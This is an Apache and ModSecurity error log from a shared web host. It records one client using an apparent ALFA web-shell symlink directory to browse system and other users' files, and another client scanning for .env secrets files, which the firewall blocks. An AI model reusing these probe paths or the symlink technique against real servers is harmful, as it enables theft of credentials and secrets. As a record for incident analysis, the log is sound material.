[Sun Oct 25 14:19:19.191868 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/eLvl5rS_li/' is executable
[Sun Oct 25 14:19:19.191886 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tQSVI9ghfx/' is executable
[Sun Oct 25 14:19:19.191900 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-KhsG26/' is executable
[Sun Oct 25 14:19:19.191921 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Rbnkhw3mMN/' is executable
[Sun Oct 25 14:19:19.191950 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/XtfNlSjyV2/' is executable
[Sun Oct 25 14:19:19.191971 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/No9Qeb2GGl/' is executable
[Sun Oct 25 14:19:19.191991 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/DRWsFfNFOJ/' is executable
[Sun Oct 25 14:19:19.192004 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/p_Vpg5SIle/' is executable
[Sun Oct 25 14:19:19.192021 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/2qjNiW1LMS/' is executable
[Sun Oct 25 14:19:19.192041 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Y6sES0AEnt/' is executable
[Sun Oct 25 14:19:19.192056 2026] [core:crit] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:53637] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-ea-php81-php-fpm.service-rdnwB9/' is executable
[Sun Oct 25 14:19:22.196208 2026] [ssl:error] [pid 2873159:tid 2873159] (70014)End of file found: [client 54.204.12.115:3394] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:19:26.188603 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 3.94.157.25:57765] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:19:26.848806 2026] [authz_core:error] [pid 2875825:tid 2875825] [client 76.135.135.39:50178] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/php.ini
[Sun Oct 25 14:19:27.500425 2026] [autoindex:error] [pid 2875808:tid 2875808] (13)Permission denied: [client 76.135.135.39:50198] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/cursodeventas/
[Sun Oct 25 14:19:27.957307 2026] [autoindex:error] [pid 2878642:tid 2878642] (13)Permission denied: [client 76.135.135.39:50204] AH01275: Can't open directory for index: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/virtfs/
[Sun Oct 25 14:19:28.409760 2026] [security2:error] [pid 2875804:tid 2875804] [client 76.135.135.39:50216] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".ini"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/agent360.ini"] [unique_id "at5IMGkIw7aDRIfuNo-nNAAAABo"]
[Sun Oct 25 14:19:28.410097 2026] [security2:error] [pid 2875804:tid 2875804] [client 76.135.135.39:50216] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/agent360.ini"] [unique_id "at5IMGkIw7aDRIfuNo-nNAAAABo"]
[Sun Oct 25 14:19:28.410422 2026] [security2:error] [pid 2875804:tid 2875804] [client 76.135.135.39:50216] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/agent360.ini"] [unique_id "at5IMGkIw7aDRIfuNo-nNAAAABo"]
[Sun Oct 25 14:19:29.342806 2026] [security2:error] [pid 2873159:tid 2873159] [client 198.235.24.81:50351] ModSecurity: Warning. Operator EQ matched 0 at REQUEST_HEADERS. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "303"] [id "920280"] [rev "2"] [msg "Request Missing a Host Header"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/MISSING_HEADER_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "server.sherwinpinturas.com"] [uri "/"] [unique_id "at5IMf1CbQghwAu-zzMCdgAAACA"]
[Sun Oct 25 14:19:30.308163 2026] [ssl:error] [pid 2875796:tid 2875796] (70014)End of file found: [client 23.23.104.107:41143] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:19:34.198419 2026] [ssl:error] [pid 2875798:tid 2875798] (70014)End of file found: [client 44.207.252.58:39524] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:19:38.214317 2026] [ssl:error] [pid 2875807:tid 2875807] (70014)End of file found: [client 44.194.134.53:2262] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:19:39.848655 2026] [authz_core:error] [pid 2875796:tid 2875796] [client 76.135.135.39:50431] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/error_log
[Sun Oct 25 14:19:42.448872 2026] [ssl:error] [pid 2875825:tid 2875825] (70014)End of file found: [client 3.218.103.254:6899] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 14:19:48.791682 2026] [security2:error] [pid 2875804:tid 2875804] [client 46.151.178.15:32278] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at5IRGkIw7aDRIfuNo-nNgAAABo"]
[Sun Oct 25 14:19:48.791682 2026] [security2:error] [pid 2875790:tid 2875790] [client 46.151.178.15:32310] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at5IRMSJT0_jmTzdctlJ1wAAAAo"]
[Sun Oct 25 14:19:48.791902 2026] [security2:error] [pid 2875790:tid 2875790] [client 46.151.178.15:32310] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at5IRMSJT0_jmTzdctlJ1wAAAAo"]
[Sun Oct 25 14:19:48.791911 2026] [security2:error] [pid 2875804:tid 2875804] [client 46.151.178.15:32278] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at5IRGkIw7aDRIfuNo-nNgAAABo"]
[Sun Oct 25 14:19:48.792193 2026] [security2:error] [pid 2875790:tid 2875790] [client 46.151.178.15:32310] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at5IRMSJT0_jmTzdctlJ1wAAAAo"]
[Sun Oct 25 14:19:48.792247 2026] [security2:error] [pid 2875804:tid 2875804] [client 46.151.178.15:32278] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.local"] [unique_id "at5IRGkIw7aDRIfuNo-nNgAAABo"]
[Sun Oct 25 14:19:48.793511 2026] [security2:error] [pid 2875828:tid 2875828] [client 46.151.178.15:32292] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at5IRDvHG3qCzmf5eaMSsQAAADQ"]
[Sun Oct 25 14:19:48.793655 2026] [security2:error] [pid 2875828:tid 2875828] [client 46.151.178.15:32292] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at5IRDvHG3qCzmf5eaMSsQAAADQ"]
[Sun Oct 25 14:19:48.793856 2026] [security2:error] [pid 2875828:tid 2875828] [client 46.151.178.15:32292] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.dev"] [unique_id "at5IRDvHG3qCzmf5eaMSsQAAADQ"]
[Sun Oct 25 14:19:48.794903 2026] [security2:error] [pid 2875796:tid 2875796] [client 46.151.178.15:32286] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at5IRGRf2IcMpPbtfDaAQgAAABI"]
[Sun Oct 25 14:19:48.795110 2026] [security2:error] [pid 2875796:tid 2875796] [client 46.151.178.15:32286] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at5IRGRf2IcMpPbtfDaAQgAAABI"]
[Sun Oct 25 14:19:48.795314 2026] [security2:error] [pid 2875796:tid 2875796] [client 46.151.178.15:32286] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at5IRGRf2IcMpPbtfDaAQgAAABI"]
[Sun Oct 25 14:19:48.796433 2026] [security2:error] [pid 2873159:tid 2873159] [client 46.151.178.15:32298] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at5IRP1CbQghwAu-zzMCeAAAACA"]
[Sun Oct 25 14:19:48.796586 2026] [security2:error] [pid 2873159:tid 2873159] [client 46.151.178.15:32298] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at5IRP1CbQghwAu-zzMCeAAAACA"]
[Sun Oct 25 14:19:48.796780 2026] [security2:error] [pid 2873159:tid 2873159] [client 46.151.178.15:32298] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.production"] [unique_id "at5IRP1CbQghwAu-zzMCeAAAACA"]
[Sun Oct 25 14:19:48.951023 2026] [security2:error] [pid 2875825:tid 2875825] [client 46.151.178.15:32324] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "at5IRF75TRlU0R5ZHix3BwAAADE"]
[Sun Oct 25 14:19:48.951027 2026] [security2:error] [pid 2875798:tid 2875798] [client 46.151.178.15:32316] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at5IRDPs8bRYbMpfKbYQdwAAABQ"]
[Sun Oct 25 14:19:48.951255 2026] [security2:error] [pid 2875798:tid 2875798] [client 46.151.178.15:32316] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at5IRDPs8bRYbMpfKbYQdwAAABQ"]
[Sun Oct 25 14:19:48.951255 2026] [security2:error] [pid 2875825:tid 2875825] [client 46.151.178.15:32324] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "at5IRF75TRlU0R5ZHix3BwAAADE"]
[Sun Oct 25 14:19:48.951499 2026] [security2:error] [pid 2875798:tid 2875798] [client 46.151.178.15:32316] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.backup"] [unique_id "at5IRDPs8bRYbMpfKbYQdwAAABQ"]
[Sun Oct 25 14:19:48.951546 2026] [security2:error] [pid 2875825:tid 2875825] [client 46.151.178.15:32324] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/api/.env"] [unique_id "at5IRF75TRlU0R5ZHix3BwAAADE"]
[Sun Oct 25 14:19:48.952594 2026] [security2:error] [pid 2875821:tid 2875821] [client 46.151.178.15:32332] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /app/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/app/.env"] [unique_id "at5IRDrZAlNl62fjFrfC-QAAAC0"]
[Sun Oct 25 14:19:48.952753 2026] [security2:error] [pid 2875821:tid 2875821] [client 46.151.178.15:32332] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/app/.env"] [unique_id "at5IRDrZAlNl62fjFrfC-QAAAC0"]
[Sun Oct 25 14:19:48.952982 2026] [security2:error] [pid 2875821:tid 2875821] [client 46.151.178.15:32332] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/app/.env"] [unique_id "at5IRDrZAlNl62fjFrfC-QAAAC0"]
[Sun Oct 25 14:19:48.954118 2026] [security2:error] [pid 2875807:tid 2875807] [client 46.151.178.15:32334] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/laravel/.env"] [unique_id "at5IRAHDER8y19YYHrzTXAAAAB0"]
[Sun Oct 25 14:19:48.954270 2026] [security2:error] [pid 2875807:tid 2875807] [client 46.151.178.15:32334] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/laravel/.env"] [unique_id "at5IRAHDER8y19YYHrzTXAAAAB0"]
